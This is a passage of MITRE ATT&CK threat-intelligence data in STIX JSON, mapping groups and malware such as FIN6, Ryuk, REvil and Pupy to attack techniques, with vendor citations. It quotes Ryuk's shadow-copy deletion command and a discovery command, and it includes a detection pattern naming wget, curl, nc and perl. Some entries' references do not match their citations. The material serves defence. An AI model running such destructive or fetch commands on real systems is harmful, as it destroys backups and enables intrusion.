"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro FIN6 October 2019", "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html", "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}], "modified": "2020-10-09T13:28:48.189Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used malicious JavaScript to steal payment card data from e-commerce sites.(Citation: Trend Micro FIN6 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3126c7fa-02eb-475f-a474-26d4d6af7a67", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "source_name": "Cylance Dust Storm"}], "modified": "2022-01-19T21:13:03.736Z", "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate system information.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3126e151-051a-45ba-bc52-ca6f0f646fbb", "type": "relationship", "created": "2020-03-17T00:22:32.905Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BadPatch Oct 2017", "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/", "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}], "modified": "2020-03-17T00:22:32.905Z", "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses SMTP for C2.(Citation: Unit 42 BadPatch Oct 2017)", "relationship_type": "uses", "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", "target_ref": "attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", "source_name": "Unit 42 OopsIE! Feb 2018"}], "modified": "2019-09-04T22:55:41.892Z", "description": "(Citation: Unit 42 OopsIE! Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3129063c-ece7-4d72-8728-e72febde953a", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:17:32.000Z", "description": "Monitor executed commands and arguments that may abuse Unix shell commands and scripts for execution. Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nNote: this analytic does not include an exhaustive list of potentially suspicious commands that could be executed through a shell interpreter. Instead, it is meant to serve as an example of types of commands that can warrant further investigation.\n\nAnalytic 1 - Unusual command execution \n\n<code> source=\"*Linux:*\" CommandLine=\u201c*sh -c*\u201d AND (CommandLine=\u201c*wget*\u201d OR CommandLine=\u201c*curl*\u201d OR CommandLine=\u201c*nc*\u201d OR CommandLine=\u201c*perl*\u201d)</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--312950f2-80d2-4941-bfce-b97b2cb7a1ff", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", "source_name": "Lookout Dark Caracal Jan 2018"}], "modified": "2019-07-16T15:35:21.063Z", "description": "(Citation: Lookout Dark Caracal Jan 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", "target_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "source_name": "GitHub PowerSploit May 2012"}, {"url": "http://powersploit.readthedocs.io", "description": "PowerSploit. (n.d.). PowerSploit. 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Retrieved June 2, 2020."}], "modified": "2020-06-02T15:39:14.511Z", "description": "[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to execute command line arguments on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)", "relationship_type": "uses", "source_ref": "malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--318afc9f-92f3-4262-af70-b2e045b87737", "type": "relationship", "created": "2017-05-31T21:33:27.053Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. (2015, December 1). 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Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2019-09-04T19:48:17.684Z", "description": "(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3194fa27-46b8-4a05-8d3a-12d7bfe9ad15", "type": "relationship", "created": "2020-05-14T14:51:52.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2020-05-14T14:51:52.989Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used <code>vssadmin Delete Shadows /all /quiet</code> to to delete volume shadow copies and <code>vssadmin resize shadowstorage</code> to force deletion of shadow copies created by third-party applications.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--31994fdc-6f52-4052-9748-d2bd3ea60caa", "created": "2022-06-13T18:12:08.619Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DanBot](https://attack.mitre.org/software/S1014) can use VNC for remote access to targeted systems.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-13T18:12:08.619Z", "relationship_type": "uses", "source_ref": "malware--b8d48deb-450c-44f6-a934-ac8765aa89cb", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d", "created": "2019-01-30T17:33:40.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky MuddyWater June 2019", "description": "ClearSky. (2019, June). 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can run `C:\\Windows\\system32\\cmd.exe /c cmd /c ipconfig /all 2>&1` to discover network settings.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-07T17:13:38.466Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31a38a3d-0358-4e92-b2cf-0d4f74022f15", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for file creation and files transferred into the network", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31a6eec8-0281-4973-a2af-ebf30e317a9f", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. 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Retrieved March 18, 2019."}], "modified": "2021-10-04T12:22:40.273Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including ProcDump and WCE.(Citation: FireEye APT40 March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31b54e57-8a8c-4c0f-9170-b3694dd82005", "type": "relationship", "created": "2020-09-30T15:07:31.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA WellMail July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c", "description": "CISA. (2020, July 16). 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Retrieved September 29, 2020."}], "modified": "2020-10-09T15:38:41.969Z", "description": "[WellMail](https://attack.mitre.org/software/S0515) has been observed using TCP port 25, without using SMTP, to leverage an open port for secure command and control communications.(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)", "relationship_type": "uses", "source_ref": "malware--959f3b19-2dc8-48d5-8942-c66813a5101a", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. 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Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-16T16:57:38.944Z", "description": "[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--31bec3b7-5bb1-4a10-ab7c-4e82d67a0643", "created": "2023-04-04T22:25:32.377Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. 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Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.533Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has the capability to destroy files and folders.(Citation: Kaspersky Sodin July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31ca2106-a54f-4511-8319-f82367a7d293", "type": "relationship", "created": "2022-03-30T14:26:51.835Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.835Z", "description": "Monitor executed commands and arguments for actions that can leverage a computer\u2019s peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. 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(2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-22T17:07:56.080Z", "description": "[SharpStage](https://attack.mitre.org/software/S0546) has a persistence component to write a scheduled task for the payload.(Citation: Cybereason Molerats Dec 2020) ", "relationship_type": "uses", "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32035519-2c91-4fc2-a9c4-64c766510374", "type": "relationship", "created": "2021-06-22T13:54:15.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T13:54:15.685Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can use \"stackstrings\" for obfuscation.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--320966af-53db-41e3-aaf0-f5fd68bce8ca", "type": "relationship", "created": "2020-07-15T20:23:36.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevx Carberp March 2011", "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf", "description": "Giuliani, M., Allievi, A. (2011, February 28). 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Retrieved March 8, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.(Citation: IBM ITG18 2020)", "modified": "2022-04-15T11:51:17.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3213e4e5-c3e4-4d51-8dce-929248f2882b", "created": "2019-09-23T22:31:33.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. 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Retrieved August 26, 2021.", "url": "https://www.group-ib.com/blog/colunmtk-apt41/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:45:58.850Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--321544e0-902c-443e-adf9-d7e78f0e4d13", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}], "modified": "2020-03-16T19:50:03.313Z", "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of downloading remote files.(Citation: Forcepoint Monsoon)", "relationship_type": "uses", "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3216e004-d8fe-4475-a107-8c3ad92f0fd8", "type": "relationship", "created": "2021-09-07T14:18:54.894Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T18:54:53.495Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) can add Registry run keys for persistence.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--321703ba-7871-46c0-837e-6a2e1dc5aba9", "type": "relationship", "created": "2019-04-19T16:27:45.818Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. 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(2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}], "modified": "2021-10-12T19:42:17.109Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Symantec Tick Apr 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--321a3181-9478-4a4c-b13b-607dbfeee7fc", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/n1nj4sec/pupy", "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", "source_name": "GitHub Pupy"}], "modified": "2019-04-24T17:52:47.743Z", "description": "[Pupy](https://attack.mitre.org/software/S0192) can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.(Citation: GitHub Pupy)", "relationship_type": "uses", "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--321c1e2e-c295-42db-87cf-4d71f6c7f164", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html", "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", "source_name": "FireEye FELIXROOT July 2018"}], "modified": "2020-03-17T01:16:25.993Z", "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) deletes the Registry key <code>HKCU\\Software\\Classes\\Applications\\rundll32.exe\\shell\\open</code>.(Citation: FireEye FELIXROOT July 2018)", "relationship_type": "uses", "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--321e9302-b335-4f17-b03a-7782683d69f9", "type": "relationship", "created": "2021-10-01T01:57:31.556Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua TeamTNT August 2020", "url": "https://blog.aquasec.com/container-security-tnt-container-attack", "description": "Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021."}], "modified": "2021-10-01T01:57:31.556Z", "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) has disabled <code>iptables</code>.(Citation: Aqua TeamTNT August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim user name.(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 